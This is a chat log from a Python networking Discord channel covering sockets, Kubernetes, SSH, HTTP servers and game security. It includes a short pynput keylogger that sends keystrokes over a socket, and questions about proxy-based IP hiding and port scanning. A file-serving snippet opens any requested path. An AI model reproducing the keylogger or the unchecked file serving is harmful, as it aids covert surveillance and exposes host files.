#networks
1 messages ยท Page 21 of 1
yah , im really sorry for not being clear enough
Anyway, don't use single node clusters in the cloud :)
oh so we have worker nodes too?
Im really new into k8 stuff actually , sorry for any dumb statements I may/might have made
anyways , so u suggest that we have a high end bare metal to get things done?
"Production environment | Kubernetes" https://kubernetes.io/docs/setup/production-environment/
They don't have to be super high end, but mid range servers are fine (which are i7 level)
so an 8gigs i7 would do?
Wait, does that provider not offer Xeons?
I'm starting to think you shouldn't use that provider lol
yah true , I wish so ,but we already had creds left , and lack of cash in hand ๐
Wait, does that provider not offer Xeons?
@vernal surge yes yes , it does
For a server, an i7 shouldn't be an option lol
ah right
where can i get help with vps?
But yeah, you don't want to short change yourself on your nodes, because you will have to immediate vertically scale, rather than horizontally, that that doesn't do anyone any good
@river granite depends on the question
oh
ok so im trying to use the vps
in windwos powershell
but it keept saying Permission denied, please try again
when i enter the root password
thank u so much for the suggestions @vernal surge
Define VPS@river granite
@dusk sparrow no problem. But yeah, for a production cluster, 2 masters, 2 nodes are generally fine to start with
and my friend is helping me but he siad he still can't find solution
@dusk sparrow no problem. But yeah, for a production cluster, 2 masters, 2 nodes are generally fine to start with
@vernal surge sure thank u once again!!!
@river granite ok, so a virtual private server
@river granite my assumption is you are trying to SSH in?
Did you set up that username on the box?
?
But a permission denied generally means one of two things: bad user, or bad password
password is alright
And fwiw, 8/mo is too much when you get more from Linode for 5 lol
Ok, what is the OS you are trying to connect to? Linux?
i actually dont know
my friend just helping me
from start
i am tryign to host my discord bot 24/7
and he told me to type ssh jayti@ip dress
Sounds like your friend needs to help you then. You don't have enough info for me to help you.
do i need to ask in #discord-bots for discord bot vps info
What?
No one can help you unless we know 1) the OS 2) how it got initialized
Because if you just launch a Debian instance, there is no "jayti" user. And most cloud providers make you use a key now a days anyway, so a password will never work
But given your error, it sounds like the username
But I have no idea if you are trying to SSH into an empty void or not
It sounds like your friend has no idea what is going on either though
If you are willing to pay, why not just use Amazon and get a free server
oh.
i am using vsc for my bot(discord.py) files and sqlite3 for database except these infos i dont know what you are asking
hey! quick question
i have a flask app and a html file which uses <something src="jsfile.js">
and a css
my current solution is:
@server.route('/debug/style.css')
def debugPageCSS():
return send_file("html/debug/style.css")
@server.route('/debug')
def debugPageHTML():
return send_file("html/debug/index.html")
with a route for js too
can i send them all at once?
This should be in #web-development and normally you have a static folder and serve that
Does anyone use python for Palo alto firewalls? I'm curious how you're leveraging. I wanted to be able to log into a pan through clip and run scripts
hi important question about using socketio lib
What is the structure of data in the media?(data format payload i guess is the term)
Do they have a signature check? Or CRC?
@gloomy root do u have some answers for me?
thanks
Hey @ember ledge!
Uh-oh! It looks like your message got zapped by our spam filter. We currently don't allow .txt attachments, so here are some tips to help you travel safely:
โข If you attempted to send a message longer than 2000 characters, try shortening your message to fit within the character limit or use a pasting service (see below)
โข If you tried to show someone your code, you can use codeblocks
(run !code-blocks in #bot-commands for more information) or use a pasting service like:
Someone here is mastering socketio?
What is the structure of data in the media?(data format payload i guess is the term)
Do they have a signature check? Or CRC?
also
this: Do they have a signature check? Or CRC? doesn't matter
that handled at lower level
Socketio is high level overall and what ever format you use for sending the data is ultimately up to you
Alot of people with WS use json formats with operation codes that make management easier
But again 5hats just however you wanna do it
is this a neural networks server?
Alright thanks
my socket transmissions work when i have two computers on a local network, but as soon as i set up the server on my network and give my friend the client program, it doesn't work
More requests!
@raven gazelle have you port forwarded? Routers by default block all incoming traffic unless they know what it is
@storm saffron just did now , still not working
does the client need to p forward too?
also i cant ping their ip in terminal so it might be our ISP'S
No, client doesn't need to port forward
The client's router recognises that the client has started the outbound connection
Or it should if you're using tcp
Can you show your code
are raw sockets or websockets best for a desktop chat app?
its probably easier to implement tls/ssl on websockets
hello, i tried for the first time to import scapy on windows, im facing an error:
https://prnt.sc/uc0ohk
but when i use the interpreter itself on the directory 'site-packages' im able to use scapy
def aa():
while 1:
try:
host = '127.0.0.1'
port = 1234
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
except:
aa()
aa()```
why not working
?
this is result
Because you call the function again in the except, but it's also in a while loop
So you just have a continuously growimg number of functions calling more functions
How can I use python requests to access an api and print data from it
api example: {"success":true,"session":{"online":false}}
I want it to print if online is true or false
this: Do they have a signature check? Or CRC? doesn't matter
@restive blaze can u explain further on which layer? Im curious about that ..
@rigid edge the 127.x.x.x network is all loopback, anything sent to one of those addresses will never leave your computer
You can use sockets to communicate on your local network though
There are also higher level networking APIs you can use
How can I use python requests to access an api and print data from it
api example: {"success":true,"session":{"online":false}}
I want it to print if online is true or false
@topaz acorn You need to take the JSON response and convert it to a readable format.
Hi,
Why does the ASGI http.response.push message for indicating HTTP2 server push doesn't respond with a body for client to recieve?
@graceful radish well that depends on your Web server you're using
I was refering to the server push in here: https://github.com/aiortc/aioquic/blob/main/examples/demo.py#L32
Last time I read through ASGI the interface for HTTP/2 are the same as HTTP/1.1 because most of the changed are under the hood and don't affect the interface itself, the-
Http2 is definitely not the same has http3
yes, I understand that. but the server push is similar
I tried this project out, when the index.html is downloaded, I expect styles.css to be downloaded along with it in the client side for that 1 request.
But I don't find that happening.
Okay, so a couple things
-
so are you actually using HTTP2 or HTTP3 because this seems very back a forth when we're referencing a HTTP3 server and client implementation
-
does what ever you're using to test said server actually support HTTP 2 or http3 in the first place
- I'm referring to HTTP/3 here
- The used ASGI interface is starlette, it supports HTTP/3 server push.
I hope that answers
What are you using to test it though
you meant the client?
If your browser doesn't support http2 or 3 then it won't use those protocols
Also starlette isn't a server it's the framework
https://github.com/aiortc/aioquic/blob/main/examples/http3_client.py This is the client
yup, understood, that is why I mentioned it as the interface ๐
Hmm
yeah, but I'm not sure why exactly is that the server push doesn't download the resource when asked for?
Does server notify the client if there is a server push on it's way? or rather the application directly feeds off of it from the cache or something without the client intervention?
without adding anything in the server like 'if you receive this certain message close the connection', how can i close a connection from the client?
there is probably some .close method or similar on the socket or whatever it is you're using
well yeah you can do .close() but only on the server
Clients have the same thing on sockets
i can't do client.close(), it just doesn't work
Wdym it just doesn't work
@undone gust you can't, you are not in charge of client network connection as the server, you can just close it on your end
i guess i'll just close it on my end and handle the error that arises
what do i need to learn if i want to start making bots for whatsapp? for example bot checks my LAN network devices and give me options to see their status offline or online ping latency etc
still learning python
I've been trying to work with deploying services using kubernetes , but when I try to port forward , it always errors out saying error: unable to forward port because pod is not running. Current status=Pending
previously I had been suggested on this channel to use a higher specs machine , atleast 8 gb ram and 8 cores, now Im running kubernetes on a vm which is having 16 gb ram and 8 cores
but still the same issue persists
can someone give me an insight into this?
Hey @dusk sparrow!
Uh-oh! It looks like your message got zapped by our spam filter. We currently don't allow .txt attachments, so here are some tips to help you travel safely:
โข If you attempted to send a message longer than 2000 characters, try shortening your message to fit within the character limit or use a pasting service (see below)
โข If you tried to show someone your code, you can use codeblocks
(run !code-blocks in #bot-commands for more information) or use a pasting service like:
here's the kubectl node info in case someone's got time https://paste.pythondiscord.com/acucelemiw.makefile
Hi, how to generate timestamp in this format: 2019-08-30T14:56:08.069Z
hey, i would like to know if there is any packet-intercepting library for windows (like netfilterqueue for linux)
or if there is a cross-platform one
WinPCap
im working on a simple webserver in python
the page is loading 'correctly' and errors are handled fine
i say correctly because...
it just shows the html client side
anyone know what im doing wrong?
thats the sending part
Sounds like you're not setting the header
So the browser thinks it should render text
Also, why 1.0? 1.1 is the standard these days
lol sry fixed now
But yeah, you can Google headers, or go to any website ever and just do the dev tools and look at their headers
content type is needed as a header
Damn it @gloomy root trying to lead him to the river, but not fish for him lol
i mean hes still gotta search for it :P
Lol
xD
If you are writing a web server, appropriate header handling is paramount
btw that seems like a awfully complicated way to send a simple html file
Not just content type though
^^
sip
do i send that after the 200 ok?
tias
btw i would probably look at what a existing webserver sends back
because you're still missing alot of default headers
aced that
yikes
how do i see what the server send to me rather than the nice table view in crome dev tools?
that is the curl of google.com
i tried ๐
eyyy
needed to have the headers sent as one
thx
what's the best settings / methods to speed my internet up
@ember ledge are you trolling? If you're not, you can't, other than using a wired connection.
ok so basically i've had this issue for about a week and I can't figure it out.
I haven't any friends who know how to program, so debugging is difficult.
essentially, I have no issue setting up socket servers on my localhost, with two pc's connection from the same network.
But as soon as I give a friend the client program, it doesn't work. I've tried everything with port-forwarding and every possible setting with socket.
if anybody could hop on dm's, or even here, and actively help me debug, that would be great. Thanks
@raven gazelle are you actually bindind to 0.0.0.0
Because you're binding to local host and expecting to be able to connect from wan
๐
should i not be using a 192.168 ip?
i changed from localhost when trying to connect with friends
@gloomy root
Well what did you change it too...
dude....
i feel like there's a language barrier or you simply don't understand what I'm saying
i'm not using localhost, 0.0.0.0 or 127.0.0.1
im using my local ipv4 address
๐คฆโโ๏ธ okay, I'm gonna just ignore the whole binding thing you're doing and gonna tell you 5o actually check your ports
Use a port checker, is the port actually open
so i need to use my public ip? ive tried that too so
also check if your router is blocking incoming connections
i think you need to port forward from the router to your computer
since im pretty sure the external ip is for your entire lan
@raven gazelle there are multiple machines sharing your public IP, so you need to tell your router which private IP to send incoming connections too
Via port forwarding
Are you sure you forwarded the correct port and protocol to the correct private ip
@gloomy root binding to your local IP will work fine, it's just saying listen on that interface. The router will send packets to that IP if port forwarding is set up correctly
yeah but you need to connect to the public ip
@๐๐๐ฉ๐ฎ๐๐๐#6969 I know
But it can cause weird issues at times especially if your local ip is static
Dynamic sorry*
True, plus it is unnecessary unless you have multiple interfaces
Hello guys
Is it possible to develop API using socket library?
I know, this is a strange question
Technically yes but no reason to do so
you'll be much better off using a existing framework that uses either WSGI or ASGI interfaces
my employer said I must do it ๐
Good luck with that
are there any differenced between api developed with flask (for ex.) and with sockets?
if your employer is saying you can only make the api using the sockets module then they probably have no idea what it actually involves or takes todo so
Can someone help me fix this Best Buy bot? https://github.com/natewong1313/bird-bot/
The Best Buy API that adds an item to the cart in this bot seems outdated, and the new API is 'https://api.bestbuy.com/click/5592e2b895800000/(SKU_HERE)/cart'
I'm not sure how to rewrite the bot for it to work using the new API... specifically in the file \sites\bestbuy.py on line 123
Here is a link to the best buy API: https://bestbuyapis.github.io/api-documentation/
!rule 5
5. Do not provide or request help on projects that may break laws, breach terms of services, be considered malicious/inappropriate or be for graded coursework/exams.
pretty sure that violates tos
It's a api
Hi
i understand what docker is
but i can't how can we use docker as a network engineer for day to day network automation tasks that i might have to do
netmiko
nornir
ansible etc
how do i do secure networking?
i am making a multiplayer game and i dont want anyone to hack by sending custom data to the game servers!
You'd usually use a private key, but it would be pretty trivial to extract that from the python game
The best way you could make sure that the data is legit is hosting game servers and have the client connect to them, so you can make sure that the whole game session is legit before granting any reward
should i be using apache instead of iis on my windows laptop to dev a web api that will be hosted on an ubuntu server?
the client should never have more information than it needs
and should always be mistrusted
i'll look into docker then thanks lol
kinda new to this stuff, but i'll figure it out lol
does anyone know how i can check if a ssl certificate is revoked using python?
i am making a multiplayer game.
if i do networking with the socket module, and do not implement any security stuff, what are the risks of my game getting hacked?
and how should i prevent that?
You prevent hacking by assuming the client lies and do not let even entirely arbitrary packets do more than a legitimate user
What may be an issue is hacking as in intercepting socket connection, as get very little security compared to https
What did i do wrong? it does work but it never sets the addresses i want in my machine i'm trying to make a program so i can quickly change the ip i want fast and easy without going thru lots of menues and having the ability to forget addresses while typing
who has AttributeError: module 'nmap' has no attribute 'Portscanner' error? i uninstall nmap and instal python-nmap but didn't fix
@blazing aurora Send your code.
You nรฉed both nmap installed at your pc and the nmap module from python
@sonic hornet if you do what you are saying and then connect to random people, you will get hacked.
i am making a multiplayer game.
if i do networking with the socket module, and do not implement any security stuff, what are the risks of my game getting hacked?
@sonic hornet
firstly: drop the idea of making a game in python. it lacks the speed for making a good game, and it's just not built for it. if you're set on making a game, look into some game engines like unity, unreal engine, game maker, and (if you want to program in a python-like language) use godot.
secondly: by directly connecting the 2 players with the sockets module you expose the players to a high risk if one of them has malicious intents.
if i instead make it so that you press a button, the game asks you who you want to connect to, plus a warning that states that you should never connect to people you dont trust - is my game safe then?
@neon hinge please answer the previous question when you can
thats not safety, thats just letting your players know that your game isnt safe and that they're playing at their own risk
as i said before, and im guessing im going to have to repeat myself:
forget about trying to make a game in python in general
its much better overall to use an engine
Guys are there any books/websites to teach socket?
I'm not a complete beginner tho , just looking for a good book/website to follow
Real Python has good tutorials to follow, and after that you can just use the docs as you code
@dusky heron ok then multiplayer is completely insecure
since you're going to get mitm'd
and/or stolen passwords
Hey @obtuse swift!
It looks like you tried to attach file type(s) that we do not allow (.bat). We currently allow the following file types: .3gp, .3g2, .avi, .bmp, .gif, .h264, .jpg, .jpeg, .mkv, .mov, .mp4, .mpeg, .mpg, .png, .tiff, .wmv, .svg, .psd, .ai, .aep, .xcf, .mp3, .wav, .ogg, .webm, .webp, .flac, .m4a.
Feel free to ask in #community-meta if you think this is a mistake.
if a add a button to my game, and when you click it it allows you to type in a ip and that stuff to connect to, and i put a warning "only connect to people you trust", is my game safe then?
and i dont implement any big security stuff?
that absolutely sounds not safe.
but there are probably libraries out there, that you can simply plug into your app, and make it safe
@sonic hornet
probably? ive been asking the same question for weeks. i need helpful answers from people who knows this stuff
@sonic hornet
If you want your game to be safe you could encrypt the network so its a bit harder for others to cheat in your game. You could also verify the packets being sent in your server (assuming you use a server for your game) to check if this packet looks real. For instance, if you're sending json values over the network and your server suddenly receives something else then you know something is wrong.
You can also give a warning that if you connect its your own risk, as you suggested, but this wont really make your game any safer it will just put the responsibility on the client.
If the game is only played over the LAN then you don't necessarily need to take the same precautions.
when sending more sensitive data over the network, such as password you'd definitely want to encrypt the network, plus even hash the password to grant privacy and prevent someone from gaining the password.
not specifically python but how do you have a html page redirect the client as soon as its loaded?
with JS, you can do window.location=newLoc
i did google to that result, how can that be run as soon as the page loads?
put it in a <script async defer>
thanks works perfectly
can you guys teach me or show me show me how to make udp proxy that can handle multiple connections? (googling is not helping)
hello?
@narrow oak client side hashing is less secure than server side
bc then db leaks = all passwords compromised
since the hash becomes the pwd
If there is ssl/tls then it's not necessary to do client side hashing.
anyone here use the python whois module? I'm trying to do multithreading with it, and i believe it keeps throwing socket errors but I can't seem to catch it and have it retry
dont games usually use udp for speed?
@narrow oak
@white hare send code + error messages
guessing that its not thread safe
also which whois lib
theres 2 on pypi
@slender steeple yes, many games uses udp when it's okay if some packets don't get sent, thus resulting in better performance. Some games also use tcp when critical packets are being sent, and even a mix of both.
But yeah, udp is most common for speed
can anyone help me in #help-candy
its about an http server im making with sockets
i need some help with post requests
what port should i use for my game?
@sonic hornet depends what your game is?
Normally youโd want UDP for the type itโs quicker than TCP if I remember correctly.
๐คทโโ๏ธ depends. To be honest.
Personally go with a UDP for the type. And pick a high port so it wonโt have much interference with other programs. Lower ports tend to be used by other processes.
No. ๐. If itโs just for debugging then you know what your pc has free.
If itโs production then pick something in the 22000s as an example
what do you mean by production
If youโre sending it as a project for school/releasing it to public
public
Somewhere in 22000s
ok, thanks!
No problem
Yeah. โ๏ธ
๐
s.bind((HOST, PORT))
in an example i saw, host is a localhost ip (127.0.0.1). (a server.py file)
i dont really understand, should this be the ip for the machine the server is running on?
the example gives undetailed information
127.0.0.1 just means localhost essentially
so use 0.0.0.0
but exposing your shit with raw sockets is very dangerous if you dont know what you're doing
i just wanna connect to some other computer
im just wondering, what does that specific ip do? is it the client i want to connect to, is it the machine the server is running on?
exposes your machine to the open world esssentially
so if i use 0.0.0.0, any client can connect to my machine?
yes
but if i only want one specific client to connect, should i use some sort of whitelist?
you dont get that choice
which is why i said its very dangerous if you dont know exactly what your doing
if you make a simple http server bind it to 0.0.0.0:80 and wait you'll see web crawlers just pinging your server trying to inject things into it
the outer internet is a vast and scary place and nothing is safe
well there are others but they wont stop anything connecting to the server
but cant i do 0.0.0.0 but only allow some ip's to connect?
I mean sure.. If you code it
isnt that just a simple if?
what would it be otherwise?
depends on the server
bearing in mind most IPs are Dynamic
so you're ifs can just be broken by the client just restarting their router most of the time
Some ISPs also rotate Ips every month aswell
i am making a server using the socket module, for my game
TCP or UDP
havent picked
well it would be a good idea todo so before actually doing anything because they're very diffrent systems
yes
i havent really done anything
i think im gonna go with udp
because it is commonly used for games
yes but do you actually know why and why it would be useful for you or just because its common for games
Okay, well i would advise actually reading indepth about udp
not very clear is it
could by an ip, port pair
try it and see
or actually i'm sure it's been used somewhere else on the internet
I'm trying to write a module to perform whois lookups, and I keep getting "Error trying to connect to socket: closing socket" when trying to run multiple threads doing whois lookups
I can't seem to catch the error either! So annoying.... anyone got any ideas?
@white hare send code + error messages
@slender steeple https://github.com/richardpenman/whois/blob/master/whois/whois.py
ugh I like the way he parses the data, maybe I can just make it thread safe?
going to try this instead
damn this one doesn't return emails ๐ฆ
jk its the parser thats not handling the emails
Yea I have some experience with CNN's
@gloomy root https://www.pubnub.com/blog/what-are-websockets/
hi can someone explain me on this websocket link what is http upgrade??
and for what is he responsible??
The other day there was a discussion in this channel about sockets. It was mentioned that binding a socket to address 0.0.0.0 'exposes the machine to the whole wide world'. Does this mean that I can run a server program on my machine, find its public IP, and connect to it from another network using its public IP?
Well, it depends on your setup actually
If you have like a webserver in a datacenter, with its own punlic ip address, yes it will work
Although, if your machine is behing a router, your personal computer for instance, you will have to make sure that your router will route the incoming traffic to your computer
gotcha. on my home network this just allows other devices on my home network to contact me then?
If you want it to be public, youโd allow everyone from outside of your network to connect
Port forwardingโข๏ธ
thanks all
I have made my website on Django and currently hosted on heroku but wish to host on my desktop-linux. I have bought my domain but having problem in hosting on laptop.
hi can someone explain me on this websocket link what is http upgrade??
and for what is he responsible??
@dreamy python someone can hekp please??
Hey i use scapy and when i run a=IP(dst="https://www.geeksforgeeks.org/") after i have this error ---> tmp[0] = socket.gethostbyname(tmp[0])
socket.gaierror: [Errno 11001] getaddrinfo failed
why?
https://www.linkedin.com/posts/ashley-eastman-71536236_completion-certificate-for-python-for-everybody-activity-6711336658337456129-p5Kx It'd be great if you guys checked out my latest post! Thanks ๐
@blazing aurora ip packets need an ip address not a url
assuming scapy follows normal conventions
you need to make a dns lookup to find the actual ip
@slender steeple okay thank
i'm doing some beginner ctfs that i need a python script to beat
anyone know what's going wrong?
hm
why do you use requests first
then use urllib
stick to one
also dont use python 2
@fallow needle
he did
is python2 still used in professional environments a lot?
wrong channel @shut yew
@slender steeple i run p=sr1(IP(dst="157.240.9.35")) this is fb ip addres and got answer is 0 why?
Received 25 packets, got 0 answers, remaining 1 packets
you're sending raw ip packets
neither tcp nor udp
how's the server supposed to respond?
ok thank
How can I download files from a magnet link programmatically in python?
What do i do here?
import selenium
from selenium import webdriver
from time import sleep
driver = webdriver.Firefox()
driver.get('https://www.python.org')
sleep(1)
driver.get_screenshot_as_file("screenshot.png")
driver.quit()
print("end...")
can someone help me convert python script to exe file
@mental saddle https://www.pyinstaller.org/
I want to register a domain to use for custom emails + other stuff in the future. I don't want to host a domain on my computer, what am I able to use
nor use my IP
@lime plover VPS.
Ok.
Hi there is a coding techniques for sending data over WiFi?(using socketio which using websocket)
I mean what is the coding technique?
how to use the select module in python?
How come aiohttp clientsessions should be created from within an async function?
like what difference does it make
aiohttp sessions are async
i have a socket
it looks something like this :import socket
from threading import *
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "192.168.1.3"
port = 8000
print (host)
print (port)
serversocket.bind((host, port))
class client(Thread):
def __init__(self, socket, address):
Thread.__init__(self)
self.sock = socket
self.addr = address
self.start()
def run(self):
while 1:
print('Client sent:', self.sock.recv(1024).decode())
self.sock.send(b'Oi you sent something to me')
serversocket.listen(5)
print ('server started and listening')
while 1:
clientsocket, address = serversocket.accept()
client(clientsocket, address)```
when i try to send a string
i get error
one sec
Traceback (most recent call last):
File "/usr/lib/python2.7/threading.py", line 801, in __bootstrap_inner
self.run()
File "keylogger.py", line 22, in run
self.sock.send(input().encode())
File "<string>", line 1, in <module>
NameError: name 'hey' is not defined```
if i were to replace self.sock.send(b'Oi you sent something to me')
wait are you running this usingpython or python3
but how dont i get a input() not defined erro
bc you should be using python3
how does python2 know what input() is
input in py2 is wack
input evals the input before returning it
and raw_input doesn't?
oh k
hey
i made this keylogger
but it doesnt work\
import sys
from socket import AF_INET, SOCK_STREAM, socket
from pynput.keyboard import Listener
sock = socket(AF_INET, SOCK_STREAM)
sock.bind(("127.0.0.1", 1234))
file = sock.makefile("w")
sys.stdout = file
def on_press(key):
sys.stdout.write("{0}".format(key))
with Listener(on_press=on_press) as listener:
listener.join()
a very minimal program to send the pressed keys to port 1234
what is wrong with this
i dont get any error
but when i do nc 127.0.0.1 1234, it exits with code 1
Code: https://pastebin.com/Gyzj0vkPSo
I'm new to this but can someone confirm what my code does?
So it will accept either one target to scan or multiple, then it will go through the scan_multiple function and convert the domain names to an IP with the dti function, then scan ports from 1 to 100. Then scan with the scanner function, if it isn't connected to the port by 0.5 seconds it will assume it is closed, and disconnect. If it does connect, it will get the banner with the get_banner function and print the [+] port num along with the banner. If there is no banner, it will only print [+] port num only. Am I right?
Run it and see
In addition to asking people
Cause like
There are so many possible bugs that would be very hard to spot
I did run it but it works perfectly because of the try and except blods
Blocks*
I tired removing them so I can get an error
But removing them just doesn't let the program work or it just crashes immediately
@ember ledge have a read of https://www.howtogeek.com/190014/htg-explains-what-is-the-difference-between-tcp-and-udp/
hello anyone
Just ask away, someone will respond when they see it
Anyone here intermediate level with socket connections and severs that would like to work on an upcoming project with me and my team
@mental saddle whats the project?
https://discordapp.com/channels/267624335836053506/716325106619777044/756400256517668956 can't you just use print(f"{key}", end='') (instead of sys.stdout.write("{0}".format(key)))?
Hello, I would like to know why when using the ping command you don't need to specify a subnet. Because then the same ip would lead to the same networks no ?
It is using your default subnet mask, probably 255.255.255.0
Ah right
For example if i have 192.62.1.3/24
If i have the same with /16
It is two different networks
But why the ping command doesn't take the submask as argument
what's the best way to implement sockets like socketio but with python?
socketio already has a python implementation, if you wanted to do it yourself you would probably use some http lib and websockets
thanks
hey guyz , i was wondering which is better default socket or socketio
even whats the diff. between them
socketio is a way for websites to communicate in real time using a protocol built atop http and websockets. The socket library of python provides a way to manipulate raw packets, and operates at a lower level than http and websocket, which themselves are lower level that socketio
it is somewhat confusing
yeah i'm not sure i like 'websockets' as a phrase
well
websockets is fine but
when you have web people referring to them as 'sockets' it becomes a bit 
yeah, the term socket has multiple meanings
Is there any reason to use CSRF tokens for form method GET in HTML? Just looking at GitHub source code for their search bar and they have one for their GET form, but Django recommends it for the POST requests (only?).
well with a GET form, you're not sending anything sensitive
so there might be no point in CSRF tokens
like google want it to be possible to link to their search page
well i can link to google search results
and google don't have any reason to stop that
i don't see the csrf token in github search btw?
like when their indexing?
when you click on that expanding search bar in the topnav, you can see the input name=csrf appear
Ohhh I see what you mean
oh it was an input data-csrf="true"
hey all, im writing a web server for fun but ive run into a wall. im visiting 127.0.0.1/image.png through a browser and i get a broken image/no image. if I put the image into an html file and visit the 127.0.0.1/thehtml.html the image is also broken there (but opening the html normally will show it). in my response I send the proper response code, server name, content-type, and the response body. so when i curl GET the .png link i get
HTTP/1.1 200 OK
Server: Akira Server
Content-Type: image/png
b'\x89PNG\r\n\ a whole lot of gibberish\x00IEND\xaeB`x82'
the code, if needed: https://pastebin.com/XPBWTMXg
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
@acoustic rampart looks like youre sending the repr of the bytes object
you should be sending this as bytes not str anyways
because str will break binary files
@slender steeple is line 36 not converting it to bytes?
conn.sendall(response.encode())
yeah
But wherever you concat the body to the headers is wrong
but you shouldn't use str at all for networking
if you use all bytes then that would fix this problem and future problems related to it
okay, ill clear up any str's im using and see if that fixes it. thank you
Hi i got issues with exe file whuch working with wifi(socketio and eventlet.wsgi) the connection is sensitive but when im firing the file from IDE its working smoothly,if someone knows how to convert to exe with taking care of the communication it would be great thanks!
@broken orchid send code
Hello! l have question about simple web browsing. l'm learning and have task to open file, find the particular link and repeat that several times. l do it with Python 3.8.1 64bit, VS Code. Here is my code:
import urllib.request, urllib.parse, urllib.error
from bs4 import BeautifulSoup
import ssl
# Ignore SSL certificate errors
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
url = input('Enter - ')
html = urllib.request.urlopen(url, context=ctx).read()
soup = BeautifulSoup(html, 'html.parser')
steps = int(input('Enter count: '))
pos = int(input('Enter position: '))
count = 0
# Retrieve all of the anchor tags
tags = soup('a')
for tag in tags:
count += 1
if count == pos:
step = tag.get('href', None)
print('Retrieving: ', step)
url = step
steps -= 1
elif steps == 0: break
But l got only link on the first page and it stops.
Enter - http://py4e-data.dr-chuck.net/known_by_Fikret.html
Enter count: 4
Enter position: 3
Retrieving: http://py4e-data.dr-chuck.net/known_by_Montgomery.html
So how do i make it work?
Hello I'm using Python websockets, and I have a code like this from the example:
#!/usr/bin/env python
import asyncio
import websockets
async def echo(websocket, path):
async for message in websocket:
await websocket.send(message)
start_server = websockets.serve(echo, "localhost", 8765)
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()
But the function echo() has an object parameter websocket, but I can't figure out where/how it's defined.
I made another function where I want to send a text message, but for that I need websocket.send(), so I need to pass the websocket object in there, but I can't figure out how because I don't know where/how it's defined..
async def sendMsg(websocket, msg):
await websocket.send(msg)
Yes, but I have a program running that calculates and generates a message, and then whenever I want, I want to call that function sendMsg but the thing is that in order to send a message to the websocket, I need to pass the argument websocket. But I can't find out where it's created!
They just use this start_server = websockets.serve(echo, "localhost", 8765) to call echo() where I assume somewhere the object websocket is automatically passed. But I need to define it somewhere myself, to use it in other function too
Right now I can't call sendMsg because I can't find anywhere how to create/pass a websocket object
Here is where I got the example from https://websockets.readthedocs.io/en/stable/intro.html
I havent used that lib, I mean I create my own sockets from scratch.. but let me see.
import asyncio
import websockets
async def hello(websocket, path):
name = await websocket.recv()
print(f"< {name}")
greeting = f"Hello {name}!"
await websocket.send(greeting)
print(f"> {greeting}")
start_server = websockets.serve(hello, "localhost", 8765)
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()```
This is the other example that they provide
Their documentation is pretty trashy, as far I see TBH
start_server = websockets.serve(hello, "localhost", 8765)
But yes here you are creating a websockets objecting and serving it your coroutine as they call it
@plucky fiber
import asyncio
import websockets
async def sendMsg(websocket, path):
msg = input("What's your msg? ")
await websocket.send(msg)
start_server = websockets.serve(sendMsg, "localhost", 8765)
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()```
I mean I would have to play around with this for a while as their documentation is a bit complex.
Hey, I guess its also a good Channel to ask the following question: Is it possible to change the ip adress in A-Record by strato with python. In generall my public adress is changing everey two days and I dont want to pay 50โฌ/per Month for a static one. Maybe somebody got an other Idea, let me know. thanks
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
The variable serversocket now has my IPv4 address in it right?
Not sure if it's the right word
it has stored my IPv4 address inside of serversocket?
Hey guys! which best lib to stream video via internet with python? Combine opencv with socketio?
Yeah, probably, I'd most likely use raw sockets for streaming though along with opencv2
@tulip nymph no, the socket doesn't have any IP address at that point
When you do socket.bind, it will store an IP address but that's normally something like 0.0.0.0
@slim umbra sorry for late response. Yes they indeed create it as they serve, can't I make the object first and define it somewhere and then pass that in the .serve while also use it in other functions?
Does anyone know why nmap is so much faster than the port scanner i've written?
Like nmap is insanely fast
anyone know if you can get when a client disconnects from the serverside using sockets?
e.g.
when someone disconnects print something
I recommend using PodSixNet
@devout mason I think you'll get an exception in the socket handler when that happens
Which you can catch
๐
I have been researching for days and trying several code examples, When i run the code below, i get no errors, however https://www.myipaddress.com/ detects my real IP address. Why is the following code not running the page with the provided IP address? does anyone have a working proxy solution for python 3.8.6 and selenium?
from selenium import webdriver
import random
def get_proxy():
proxy_list = []
with open('scanners\http_proxies.txt') as proxy:
for host in proxy:
proxy_list.append(host.replace("\n", ""))
proxy = proxy_list[random.randint(0, 612)]
return proxy
PROXY = get_proxy()
print(PROXY)
webdriver.DesiredCapabilities.FIREFOX['proxy']={
"httpProxy":PROXY,
"ftpProxy":PROXY,
"proxyType":"MANUAL",
}
driver = webdriver.Firefox()
driver.get('https://whatismyipaddress.com')```
ping me up if anyone knows the solution
i think sslProxy?
also you need to do driver = webdriver.Firefox(capabilities=firefox_capabilities)
ssl proxy makes it unreachable to the website
tried capabilities= thingy its still leaking
quick question, if im setting up firewall rules and open port 443, without specifying that its HTTPS, is that fine or will it default to TCP? or does it matter at all?
not even sure if im wording it correctly, im not too familiar with networking
HTTPS travels over TCP, normally using port 443, so TCP is fine
Huh
import sys
import os.path
from os import path
from socket import *
from threading import *
def main():
server_sock= socket()
server_addr= ("127.0.0.1", 8080)
# 127.0.0.1 for localhost
server_sock.bind(server_addr)
server_sock.listen(5)
while True:
#accept connections from outside
# When accept() returns, it returns a tuple with two elements: a newlycreated socket
# (the Connected Socket), and also information about the address
# of the remote computer. While you have to save both into variables, we will
# mostly ignore the remote address (except perhaps for debug messages).
(conn_sock, address) = server_sock.accept()
thread_handle = Thread(target=check_file, args=(conn_sock, address))
thread_handle.start()
server_sock.close()
#now do something with the clientsocket
# socket.sendall("Some info")
#in this case, we'll pretend this is a threaded server
# SAMPLE GET REQUEST
# GET /docs/index.html HTTP/1.1
# Host: www.nowhere123.com
# Accept: image/gif, image/jpeg, */*
# Accept-Language: en-us
# Accept-Encoding: gzip, deflate
# User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
# (blank line)
def check_file(conn_sock,address):
req=conn_sock.recv(1024).decode()
recieved_req_list=req.split(' ')
file_name=recieved_req_list[1]
send_str=""
if not (path.exists(file_name)):
send_str+="HTTP/1.1 404 Not Found\n\n"
conn_sock.sendall(send_str.encode())
else:
send_str+="HTTP/1.1 200 OK\n"
fobj = open(file_name, "rb")
